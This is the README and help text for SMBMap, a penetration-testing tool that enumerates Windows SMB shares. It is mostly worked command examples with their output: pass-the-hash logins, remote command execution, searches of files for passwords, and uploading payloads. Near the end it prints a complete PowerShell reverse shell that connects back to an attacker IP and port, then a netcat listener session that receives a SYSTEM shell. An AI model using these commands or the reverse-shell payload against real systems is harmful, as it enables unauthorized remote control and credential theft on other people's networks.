SMBMap - Samba Share Enumerator


SMBMap allows users to enumerate samba share drives across an entire domain. List share drives, drive permissions, share contents, upload/download functionality, file name auto-download pattern matching, and even execute remote commands. This tool was designed with pen testing in mind, and is intended to simplify searching for potentially sensitive data across large networks.

Some of the features have not been thoroughly tested, so changes will be forth coming as bugs are found. I only really find and fix the bugs while I'm on engagements, so progress is a bit slow. Any feedback or bug reports would be appreciated. It's definitely rough around the edges, but I'm just trying to pack in features at the moment. Version 2.0 should clean up the code a lot….whenever that actually happens ;). Thanks for checking it out!! Planned features include simple remote shell (instead of the god awful powershell script in the examples), actual logging, shadow copying ntds.dit automation (Win7 and up only..for now), threading, other things….

Features:
  • Pass-the-Hash Support
  • File upload/download/delete
  • Permission enumeration (writable share, meet Metasploit)
  • Remote Command Execution
  • Distrubted file content searching (new!)
  • File name matching (with an auto downoad capability)

Help
SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com

optional arguments:
-h, --Help show this help message and exit

Main arguments:
-H HOST IP of host
--host-file FILE File containing a list of hosts
-u USERNAME Username, if omitted null session assumed
-p PASSWORD Password or NTLM hash
-s SHARE Specify a share (default C$), ex 'C$'
-d DOMAIN Domain name (default WORKGROUP)
-P PORT SMB port (default 445)

Command Execution:
Options for executing commands on the specified host

-x COMMAND Execute a command ex. 'ipconfig /r'

Filesystem Search:
Options for searching/enumerating the filesystem of the specified host

-L List all drives on the specified host
-R [PATH] Recursively list dirs, and files (no share\path lists
ALL shares), ex. 'C$\Finance'
-r [PATH] List contents of directory, default is to list root of
all shares, ex. -r 'C$\Documents and
Settings\Administrator\Documents'
-A PATTERN Define a file name pattern (regex) that auto downloads
a file on a match (requires -R or -r), not case
sensitive, ex '(web|global).(asax|config)'
-q Disable verbose output (basically only really useful
with -A)

File Content Search:
Options for searching the content of files

-F PATTERN File content search, -F '[Pp]assword' (requies admin
access to execute commands, and powershell on victim
host)
--search-path PATH Specify drive/path to search (used with -F, default
C:\Users), ex 'D:\HR\'

Filesystem interaction:
Options for interacting with the specified host's filesystem

--download PATH Download a file from the remote system,
ex.'C$\temp\passwords.txt'
--upload SRC DST Upload a file to the remote system ex.
'/tmp/payload.exe C$\temp\payload.exe'
--delete PATH TO FILE
Delete a remote file, ex. 'C$\temp\msf.exe'
--skip Skip delete file confirmation prompt

Examples:

$ python smbmap.py -u jsmith -p password1 -d workgroup -H 192.168.0.1
$ python smbmap.py -u jsmith -p 'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d' -H 172.16.0.20
$ python smbmap.py -u 'apadmin' -p 'asdf1234!' -d ACME -H 10.1.3.30 -x 'net group "Domain Admins" /domain'
Default Output:
$  python smbmap.py --host-file smb-hosts.txt -u jsmith -p 'R33nisP!nckl3' -d ABC
[+] Reading from stdin
[+] Finding open SMB ports....
[+] User SMB session establishd...
[+] IP: 192.168.0.5:445 Name: unkown
Disk Permissions
---- -----------
ADMIN$ READ, WRITE
C$ READ, WRITE
IPC$ NO ACCESS
TMPSHARE READ, WRITE
[+] User SMB session establishd...
[+] IP: 192.168.2.50:445 Name: unkown
Disk Permissions
---- -----------
IPC$ NO ACCESS
print$ READ, WRITE
My Dirs NO ACCESS
WWWROOT_OLD NO ACCESS
ADMIN$ READ, WRITE
C$ READ, WRITE
Command execution:
$ python smbmap.py -u ariley -p 'P@$$w0rd1234!' -d ABC -x 'net group "Domain Admins" /domain' -H 192.168.2.50
[+] Finding open SMB ports....
[+] User SMB session establishd...
[+] IP: 192.168.2.50:445 Name: unkown
Group name Domain Admins
Comment Designated administrators of the domain

Members

-------------------------------------------------------------------------------
abcadmin
The command completed successfully.
Non recursive path listing (ls):
$ python smbmap.py -H 172.16.0.24 -u Administrator -p 'changeMe' -r 'C$\Users'
[+] Finding open SMB ports....
[+] User SMB session establishd...
[+] IP: 172.16.0.24:445 Name: 172.16.0.24
Disk Permissions
---- -----------
C$ READ, WRITE
.Users
dw--w--w-- 0 Wed Apr 29 13:15:25 2015 .
dw--w--w-- 0 Wed Apr 29 13:15:25 2015 ..
dr--r--r-- 0 Wed Apr 22 14:50:36 2015 Administrator
dr--r--r-- 0 Thu Apr 9 14:46:57 2015 All Users
dw--w--w-- 0 Thu Apr 9 14:46:49 2015 Default
dr--r--r-- 0 Thu Apr 9 14:46:57 2015 Default User
fr--r--r-- 174 Thu Apr 9 14:44:01 2015 desktop.ini
dw--w--w-- 0 Thu Apr 9 14:46:49 2015 Public
dr--r--r-- 0 Wed Apr 22 13:33:01 2015 wingus
File Content Searching:
$ python smbmap.py -H 192.168.1.203 -u Administrator -p p00p1234! -F password --search-path 'C:\Users\wingus\AppData\Roaming'
[!] Missing domain...defaulting to WORKGROUP
[+] Finding open SMB ports....
[+] User SMB session establishd...
[+] IP: 192.168.1.203:445 Name: unkown
[+] File search started on 1 hosts...this could take a while
[+] Job 861d4cd845124cad95d42175 started on 192.168.1.203, result will be stored at C:\Windows\TEMP\861d4cd845124cad95d42175.txt
[+] Grabbing search results, be patient, share drives tend to be big...
[+] Job 1 of 1 completed
[+] All jobs complete
Host: 192.168.1.203 Pattern: password
C:\Users\wingus\AppData\Roaming\Mozilla\Firefox\Profiles\35msadwm.default\logins.json
C:\Users\wingus\AppData\Roaming\Mozilla\Firefox\Profiles\35msadwm.default\prefs.js
Drive Listing:
This feature was added to compliment the file content searching feature
$ python smbmap.py -H 192.168.1.24 -u Administrator -p 'R33nisP!nckle' -L 
[!] Missing domain...defaulting to WORKGROUP
[+] Finding open SMB ports....
[+] User SMB session establishd...
[+] IP: 192.168.1.24:445 Name: unkown
[+] Host 192.168.1.24 Local Drives: C:\ D:\
[+] Host 192.168.1.24 Net Drive(s):
E: \\vboxsrv\Public VirtualBox Shared Folders
Nifty Shell:
Run Powershell Script on Victim SMB host (change the IP in the code to your IP addres, i.e where the shell connects back to)
$ python smbmap.py -u jsmith -p 'R33nisP!nckle' -d ABC -H 192.168.2.50 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""192.168.0.153""""; $port=""""4445"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize  ;$p=New-Object System.Diagnostics.Process  ;$p.StartInfo.FileName=""""cmd.exe""""  ;$p.StartInfo.RedirectStandardInput=1  ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0  ;$p.Start()  ;$is=$p.StandardInput  ;$os=$p.StandardOutput  ;Start-Sleep 1  ;$e=new-object System.Text.AsciiEncoding  ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length)  ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}}  if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else {  $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}}  $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"' 
[+] Finding open SMB ports....
[+] User SMB session establishd...
[+] IP: 192.168.2.50:445 Name: unkown
[!] Error encountered, sharing violation, unable to retrieve output
Attackers Netcat Listener:
$ nc -l 4445
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system


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